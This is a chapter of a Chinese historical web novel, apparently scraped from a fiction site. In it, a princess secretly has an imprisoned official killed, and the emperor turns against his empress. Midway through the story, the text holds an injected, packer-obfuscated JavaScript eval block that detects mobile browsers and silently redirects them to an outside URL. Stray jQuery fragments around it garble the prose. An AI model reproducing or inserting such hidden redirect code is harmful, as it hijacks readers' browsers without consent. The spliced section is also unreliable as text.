30. 竹清松瘦(二)

作品:《朝闻道

    谢晏唇边带笑,目光落在别处。便听齐珩黯然道:“我已经给过她机会了,只要她愿意对我解释一句,哪怕就一句,我也会原谅她。”


    “但是她没有。”齐珩的尾音还带着叹息。


    谢晏听此,反而笑了,低首垂眸道:“她从小就养在江宁,父母兄长不在身旁,便是江宁南氏对她再好、再无微不至,她的心里怕也是会有所缺失。”


    “寄人篱下十多年,好不容易回到了长安可以受家中人的宠爱,偏又嫁给了你,整个人如同无根浮萍,任雨打风吹去【3】,她又如何能不害怕呢?”


    “她也是害怕你知道真相,害怕你会抛弃她,你也体谅体谅她的难处。”


    谢晏属于旁观者,自然将这一切看的十分清楚。


    “何况我觉着,那书定然另有缘由,风格相差之大,容易让人发觉,她那么聪明应该不会想不到,不若你和她平心静气地好好聊一聊,也莫打什么哑迷,把误会解开了,总好过一个人在这里生闷气。”


    见齐珩默不作声,谢晏又道。


    殿内又是一片沉寂。


    殿外渐渐风起,一片杏叶飘入殿内,谢晏起身拾起,见高季已经端了药碗进来,便冲高季笑笑道:“高翁来了。”


    高季忙笑道:“伯瑾不多待会儿陪陪六郎呀?”


    谢晏是齐珩伴读,与高季自然也是相熟,高季待他与待齐珩俱是差不多的亲近。


    “不了,某人需要静养,他也该好好想想,我就不多打搅他了。”


    谢晏转了转手上的银杏叶,冲着齐珩的方向点点头,随后摆摆手便离开了。


    高季端着药碗到齐珩跟前,见齐珩仍闭着眼,笑道:“六郎,喝完药再睡。”


    齐珩并未睁眼,反而转过身使起了小孩子般的心性,喃喃着:“我不想喝……”


    高季笑笑,有些无奈,又有些纵容,劝道:“不喝药怎么成?不喝药病可不能好。待会药凉了,那药效可不会好啊。”


    见齐珩无反应,高季只得另辟蹊径,道:“若六郎再不喝药,那臣只能去请皇后殿下来喂了。”


    一听此言,齐珩忙得转身,将高季端着的药碗接了过来,将药喝个干净后又放回到红漆盘上。


    齐珩还不忘嘱咐高季道:“别去找她了,我喝完了,这些日子我要静一静,她来,我也不见她。”


    高季失笑,道:“臣可拦不住皇后殿下。”


    齐珩低哼一声,便转头不理高季。高季哑然一笑,随后离开了殿内。


    东昌公主府内,顾有容从身后为齐令月披上披风。


    齐令月朝着她一笑,随后覆上了顾有容为她披衣的手,顾有容道:“入秋天凉,别冻到了。”


    “还是你关心我。”齐令月笑道。


    “对了,柳治平如何了?”齐令月想起《贤女传》不禁发问。


    “目前还在大理寺羁押问讯,过些天便该定罪了吧。”顾有容有些感慨道。


    “我记着他从前办事倒不算不谨慎之人,没想到如今在布衣小民手里栽了跟头。”齐令月抬首望月。


    今夜月光皎洁,然则在静静秋夜显得格外寂寥。


    “他向来骄矜于河东柳氏的身份,自然看不起平民,如今折在他们手里,倒也不算冤。”顾有容也顺着齐令月的目光看去。


    “他死没关系,但若牵扯到别人可就不好了。”齐令月冷冷道,眸中锋芒丝毫不在意柳治平的生死。


    “殿下这事大意了。”顾有容早已看破真相。


    江式微的文风齐珩识得,东昌公主与顾有容又如何不识得?


    “年轻人,到底是心急。”齐令月从露台走向阁内,步至那尊佛像前,而后缓缓跪在蒲团上,双手合十。


    “她做不了的事,我这个当娘的,自然该替她料理了。”


    “今晚便送送柳清明罢,他是河东柳氏子,想必大理寺鞫问于他而言,与羞辱无异,早离开也好,早解脱。”齐令月说罢,朝着那佛像俯身拜了三拜。


    顾有容心已了然,柳治平怕是今夜便会于大理寺狱“意外身亡”。她朝着齐令月的方向看了一眼,见齐令月身前的香案上依旧放着一尊佛像,还有那方并未刻名的牌位。


    看到那方牌位,顾有容暗自数了数,原来已过去三十四年了。


    三十四年,沧海桑田,当年的一切早已变作黄烟,让人抓不住,她以为随着时间的淡去,齐令月或许会渐渐忘却,却未料她从未放弃心中执念,反而将其篆刻于心,越刻越深。


    就像无尽的沼泽深渊,一旦踏入,便再也逃脱不开了。


    只能,清醒地看着自己沉沦于泥淖中。


    顾有容低叹了一声,蓦然回首,透过露台看着凛凛秋风席卷落叶而起,形成一种漩涡。


    那漩涡,人若是再看一眼,便会不禁陷入。


    随后,她再不回头地走向齐令月的方向。


    --


    一个顶着黑衣斗篷的人步入大理寺狱,狱卒不识来人,拔刃厉声道:“什么人!”


    那人面容掩于斗篷下,仍是垂首,从袖中拾出一块令牌,给狱卒晃了晃。狱卒瞧清了上面的字忙不迭单膝跪地告罪道:“小人有眼不识泰山,还望阁下勿怪罪。”


    那人问道:“柳治平在哪里?”


    狱卒点头道:“小人带您去。”说罢便为那人引路,一边走着,一边小心打量着那人,只可惜那人头垂得很低,看不清面容,但听声音应是女子。


    狱卒躬身引路,正出神,便听头顶传来一声音,狱卒吓得不禁打个冷颤儿。


    “记住你是谁的人,做好你该做的事,别的不要管。”那女子的声音很冷。


    “还有,今日的事断不可道与外人,倘若泄露出去,你也不必留了。”


    狱卒只觉得自己脖颈一凉,慌张表态道:“小人们平日受公主照拂,自然唯公主马首是瞻,断断不敢背叛公主。”


    “知道便好。”


    见已到柳治平的牢房,那人对狱卒道:“你去外面守着。”


    “是,是。”狱卒连连点头。


    听见动静,柳治平抬首见到来人,便已了然,释然一笑,道:“却不想还有人来送我。”


    “柳治平,该上路了。”


    那人单手递上一个金块,显而易见,是要让柳治平吞金自尽。


    “不知阁下是?”柳治平仍疑惑问道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12659824|133597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    那人掀了斗篷,对上他的目光,勾起意味深长的笑容,见他惊讶的神情,她道:“知道是谁,你也该上路了。”


    柳治平看清她的面容,便已知晓自己再无生路可能,仰天长啸,随后又渐渐恢复平静,轻笑一声:“死前得长主相送,我这辈子也算值了。”


    “大长公主,多谢。”柳治平静静地看着她,随后接过她手中的金块,毫不迟疑地吞下。


    齐令月背过身,朱唇轻启,笑道:“慢走。”


    “对了,到了地底下,别忘了告诉张观棋,全是你害的他,可不干旁人的事。”


    说罢,齐令月便推门而出。


    她终是,不放心将此事交给旁人做,才会夤夜前来。


    齐令月借着月色打量着双手,她这双手葬送了多少人的性命,她已经数不清了,所以,也不介意为她的女儿再添一条。


    *


    “柳治平!”


    齐珩倏然睁眼喊道,声音还略带微颤。


    他骤然起身,脑中仍有些晕眩,眼前所见一切都不禁打转儿,他扶着头想缓和些。


    齐珩的面色依旧惨白,可与春日梨花相较高低。


    他昨日做了个长梦,梦见柳治平在他面前吞金自尽,他想上前阻拦,却徒劳无功,柳治平在他面前死去。


    柳治平是妖书一案关键之人,且关乎着江式微的清白与否,事情未查清楚之前,他可万不能死了。


    只是上天并不让齐珩如意,高季入来禀报,道:“陛下,白将军来了。”


    “让他进来。”


    天刚泛白,此刻白义便来见他,想必有要事。


    白义急匆匆,连甲胄都还未卸,臣子不可着甲胄现于君前,这是大晋铁律,若有文臣在此,定要弹劾请求治罪于他。


    但齐珩并未在意白义的不妥之举,他问道:“怎么了?”


    白义急道:“陛下,柳治平死了。”


    “什么?”齐珩厉声问道。


    不到几日,便已有两名重臣自裁,何况首犯的柳治平还未将事情说个清楚,便已身亡。此事重大,让齐珩如何不震惊生怒?


    他甚至不禁怀疑,柳治平的死,江式微是否参与其中?


    他不敢去寻这个答案。


    他也不敢想,如果真与她有关,他是否能够平心静气、不徇私情地处罚江式微?


    齐珩闭上眼,深深呼出一口气,他轻问道:“上回我让你去查的,你可查到了?”


    白义听此,眸中一动,俯首答道:“查到了,殿下宫中有一内人甚为可疑,只有她一人出过大明宫,且有人看见,她当日好似往秘书省方向去了。”


    “陛下,臣应该,如何做?”事涉后宫的内人,且是立政殿的人,白义也拿不准齐珩的意思。


    “她偷盗宫中财物,你以此名去立政殿拿下她。”齐珩冷道。


    “可殿下若是……不让呢?”白义试探道。


    “你与她说明缘由,若她还是阻拦,那便……即刻封锁立政殿,任何人不得出入。”齐珩睁开了眼,声音冷淡,毫不留情。


    他已经给过她机会了,是她自己不珍惜,那便真的怪不得他无情了。